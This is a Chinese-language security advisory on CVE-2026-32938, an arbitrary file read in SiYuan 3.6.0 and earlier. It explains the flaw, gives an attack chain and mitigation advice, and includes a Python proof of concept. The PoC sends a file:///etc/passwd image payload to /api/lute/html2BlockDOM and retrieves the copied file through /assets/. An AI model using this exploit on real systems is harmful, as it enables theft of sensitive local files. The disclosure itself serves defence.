IPBUF安全漏洞报告
English
CVE-2026-32938 CVSS 9.9 严重

CVE-2026-32938 SiYuan 任意文件读取漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32938
漏洞类型
任意文件读取
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

任意文件读取SiYuan路径遍历敏感信息泄露CVE-2026-32938

漏洞概述

SiYuan是一款个人知识管理系统。在3.6.0及以下版本的桌面端中存在严重的安全漏洞。由于/api/lute/html2BlockDOM接口在处理粘贴的HTML内容时,未对file://链接指向的本地文件路径进行敏感路径验证,导致系统会将任意可读文件复制到工作区资源目录。结合仅需要认证的GET /assets/*path接口,发布服务访问者可诱导内核复制敏感文件并通过GET请求读取,从而造成敏感信息泄露。该问题已在3.6.1版本中修复。

技术细节

该漏洞的核心在于SiYuan桌面端处理富文本粘贴时的路径验证缺失。当用户或攻击者在SiYuan桌面端粘贴包含file://协议链接的HTML代码时,/api/lute/html2BlockDOM接口会尝试解析并引用该文件。由于代码未对目标路径进行安全校验(如检查是否为系统敏感目录),攻击者可以构造恶意的HTML,其中file://指向受害者机器上的任意敏感文件(如SSH密钥、配置文件等)。SiYuan内核会直接将该文件复制到工作区的assets目录中。随后,攻击者通过访问GET /assets/*path接口,指定刚才复制的文件名,即可下载并窃取该文件。整个利用过程需要受害者处于登录状态,且攻击者需能诱导受害者粘贴恶意内容或通过发布服务交互,从而实现从本地文件系统到远程窃取的攻击链。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是SiYuan 3.6.0或更低版本,并拥有有效的低权限账户。
STEP 2
构造载荷
攻击者构造包含恶意HTML代码的数据,其中嵌入指向本地敏感文件(如/etc/passwd)的file://链接。
STEP 3
触发漏洞
攻击者通过发布服务或诱导用户操作,将恶意HTML发送至/api/lute/html2BlockDOM接口。
STEP 4
文件复制
SiYuan内核解析HTML,提取file://链接,将目标敏感文件复制到工作区的assets目录下。
STEP 5
文件窃取
攻击者通过GET /assets/*path接口,访问刚才复制到assets目录中的文件,从而下载并读取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:6806" sensitive_file_path = "file:///etc/passwd" # Path to the sensitive file session_cookie = "session_cookie_here" # Valid session cookie def exploit(): headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Craft payload with file:// link # This triggers the copy of the local file to the assets directory payload = { "dom": f'<img src="{sensitive_file_path}">' } api_endpoint = f"{target_url}/api/lute/html2BlockDOM" print(f"[*] Sending malicious HTML to {api_endpoint}...") try: # Step 1: Trigger the vulnerability r1 = requests.post(api_endpoint, json=payload, headers=headers) if r1.status_code == 200: print("[+] Server processed the HTML, file might be copied.") # Step 2: Attempt to retrieve the file # Note: The exact filename in assets depends on implementation logic. # Assuming the filename 'passwd' is preserved or known. filename = sensitive_file_path.split("/")[-1] asset_url = f"{target_url}/assets/{filename}" print(f"[*] Attempting to fetch file from {asset_url}...") r2 = requests.get(asset_url, headers=headers) if r2.status_code == 200: print("[+] Exploit successful! File content:") print(r2.text) else: print(f"[-] Failed to retrieve file. Status: {r2.status_code}") else: print(f"[-] Failed to trigger payload. Status: {r1.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit()

影响范围

SiYuan <= 3.6.0

防御指南

临时缓解措施
如果无法立即升级,建议用户不要在SiYuan中粘贴来源不明的HTML内容,并限制发布服务的访问权限,仅允许可信用户访问。同时,检查工作区assets目录中是否存在异常文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表